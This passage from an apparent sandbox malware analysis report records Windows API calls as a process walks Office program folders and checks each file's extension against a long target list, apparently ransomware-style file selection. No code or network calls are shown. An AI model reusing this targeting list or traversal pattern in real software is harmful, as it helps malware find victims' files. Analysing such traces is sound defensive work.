-1 [0076.421] lstrlenW (lpString=".qt") returned 3 [0076.421] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0076.421] lstrlenW (lpString=".r3d") returned 4 [0076.421] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0076.421] lstrlenW (lpString=".raf") returned 4 [0076.421] lstrcmpiW (lpString1=".raf", lpString2=".XML") returned -1 [0076.421] lstrlenW (lpString=".rar") returned 4 [0076.421] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.421] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0076.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f64008 | out: hHeap=0x5d0000) returned 1 [0076.421] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0076.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f64008 [0076.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0076.422] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="..", cAlternateFileName="")) returned 1 [0076.422] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0076.422] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0076.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f64008 | out: hHeap=0x5d0000) returned 1 [0076.422] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0076.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f64008 [0076.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0076.423] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="..", cAlternateFileName="")) returned 1 [0076.423] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0076.423] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0076.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f64008 | out: hHeap=0x5d0000) returned 1 [0076.423] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0076.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f64008 [0076.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0076.424] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="..", cAlternateFileName="")) returned 1 [0076.424] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x352ef78, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0076.424] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0076.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f64008 | out: hHeap=0x5d0000) returned 1 [0076.424] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0076.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f64008 [0078.095] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.096] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0078.096] FindClose (in: hFindFile=0x3ee31e0 | out: hFindFile=0x3ee31e0) returned 1 [0078.096] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f23fe8 | out: hHeap=0x5d0000) returned 1 [0078.096] FindNextFileW (in: hFindFile=0x3ee31a0, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0078.096] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f23fe8 [0078.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee31e0 [0078.097] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.097] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0078.097] FindClose (in: hFindFile=0x3ee31e0 | out: hFindFile=0x3ee31e0) returned 1 [0078.098] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f23fe8 | out: hHeap=0x5d0000) returned 1 [0078.098] FindNextFileW (in: hFindFile=0x3ee31a0, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0078.098] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f23fe8 [0078.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee31e0 [0078.153] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.153] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0078.154] FindClose (in: hFindFile=0x3ee31e0 | out: hFindFile=0x3ee31e0) returned 1 [0078.154] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f23fe8 | out: hHeap=0x5d0000) returned 1 [0078.154] FindNextFileW (in: hFindFile=0x3ee31a0, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0078.154] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f23fe8 [0078.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee31e0 [0078.200] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0078.201] FindClose (in: hFindFile=0x3ee31e0 | out: hFindFile=0x3ee31e0) returned 1 [0078.204] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f23fe8 | out: hHeap=0x5d0000) returned 1 [0078.319] FindNextFileW (in: hFindFile=0x3ee31a0, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0083.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3160 [0084.360] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.362] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0084.366] lstrlenW (lpString="AG00004_.GIF") returned 12 [0084.366] lstrlenW (lpString=".1cd") returned 4 [0084.366] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0084.376] lstrlenW (lpString=".3ds") returned 4 [0084.376] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0084.376] lstrlenW (lpString=".3fr") returned 4 [0084.376] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0084.382] lstrlenW (lpString=".3g2") returned 4 [0084.382] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0084.383] lstrlenW (lpString=".3gp") returned 4 [0084.385] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0084.385] lstrlenW (lpString=".7z") returned 3 [0084.386] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0084.386] lstrlenW (lpString=".accda") returned 6 [0084.386] lstrcmpiW (lpString1=".accda", lpString2="4_.GIF") returned -1 [0084.403] lstrlenW (lpString=".accdb") returned 6 [0084.403] lstrcmpiW (lpString1=".accdb", lpString2="4_.GIF") returned -1 [0084.403] lstrlenW (lpString=".accdc") returned 6 [0084.403] lstrcmpiW (lpString1=".accdc", lpString2="4_.GIF") returned -1 [0084.403] lstrlenW (lpString=".accde") returned 6 [0084.403] lstrcmpiW (lpString1=".accde", lpString2="4_.GIF") returned -1 [0084.403] lstrlenW (lpString=".accdt") returned 6 [0084.404] lstrcmpiW (lpString1=".accdt", lpString2="4_.GIF") returned -1 [0084.404] lstrlenW (lpString=".accdw") returned 6 [0084.404] lstrcmpiW (lpString1=".accdw", lpString2="4_.GIF") returned -1 [0084.404] lstrlenW (lpString=".adb") returned 4 [0084.404] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0084.404] lstrlenW (lpString=".adp") returned 4 [0084.404] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0084.404] lstrlenW (lpString=".ai") returned 3 [0084.404] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0084.404] lstrlenW (lpString=".ai3") returned 4 [0084.404] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0084.404] lstrlenW (lpString=".ai4") returned 4 [0084.404] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0084.404] lstrlenW (lpString=".ai5") returned 4 [0084.404] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0084.404] lstrlenW (lpString=".ai6") returned 4 [0084.404] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0084.405] lstrlenW (lpString=".ai7") returned 4 [0084.405] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0084.405] lstrlenW (lpString=".ai8") returned 4 [0084.405] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0084.405] lstrlenW (lpString=".anim") returned 5 [0084.405] lstrcmpiW (lpString1=".anim", lpString2="_.GIF") returned -1 [0084.405] lstrlenW (lpString=".arw") returned 4 [0084.405] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0084.405] lstrlenW (lpString=".as") returned 3 [0084.405] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0084.405] lstrlenW (lpString=".asa") returned 4 [0084.405] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0084.405] lstrlenW (lpString=".asc") returned 4 [0084.405] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0084.405] lstrlenW (lpString=".ascx") returned 5 [0084.405] lstrcmpiW (lpString1=".ascx", lpString2="_.GIF") returned -1 [0084.405] lstrlenW (lpString=".asm") returned 4 [0084.405] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0084.405] lstrlenW (lpString=".asmx") returned 5 [0084.406] lstrcmpiW (lpString1=".asmx", lpString2="_.GIF") returned -1 [0084.406] lstrlenW (lpString=".asp") returned 4 [0084.406] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0084.406] lstrlenW (lpString=".aspx") returned 5 [0084.406] lstrcmpiW (lpString1=".aspx", lpString2="_.GIF") returned -1 [0084.406] lstrlenW (lpString=".asr") returned 4 [0084.406] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0084.406] lstrlenW (lpString=".asx") returned 4 [0084.406] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0084.406] lstrlenW (lpString=".avi") returned 4 [0084.406] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0084.406] lstrlenW (lpString=".avs") returned 4 [0084.406] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0084.406] lstrlenW (lpString=".backup") returned 7 [0084.406] lstrcmpiW (lpString1=".backup", lpString2="04_.GIF") returned -1 [0084.406] lstrlenW (lpString=".bak") returned 4 [0084.406] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0084.406] lstrlenW (lpString=".bay") returned 4 [0084.406] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0084.406] lstrlenW (lpString=".bd") returned 3 [0084.407] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0084.407] lstrlenW (lpString=".bin") returned 4 [0084.407] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0084.407] lstrlenW (lpString=".bmp") returned 4 [0084.407] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0084.407] lstrlenW (lpString=".bz2") returned 4 [0084.407] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0084.407] lstrlenW (lpString=".c") returned 2 [0084.407] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0084.407] lstrlenW (lpString=".cdr") returned 4 [0084.407] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0084.407] lstrlenW (lpString=".cer") returned 4 [0084.407] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0084.407] lstrlenW (lpString=".cf") returned 3 [0084.407] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0084.407] lstrlenW (lpString=".cfc") returned 4 [0084.407] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0084.407] lstrlenW (lpString=".cfm") returned 4 [0084.408] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0084.408] lstrlenW (lpString=".cfml") returned 5 [0084.408] lstrcmpiW (lpString1=".cfml", lpString2="_.GIF") returned -1 [0084.408] lstrlenW (lpString=".cfu") returned 4 [0084.408] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0084.408] lstrlenW (lpString=".chm") 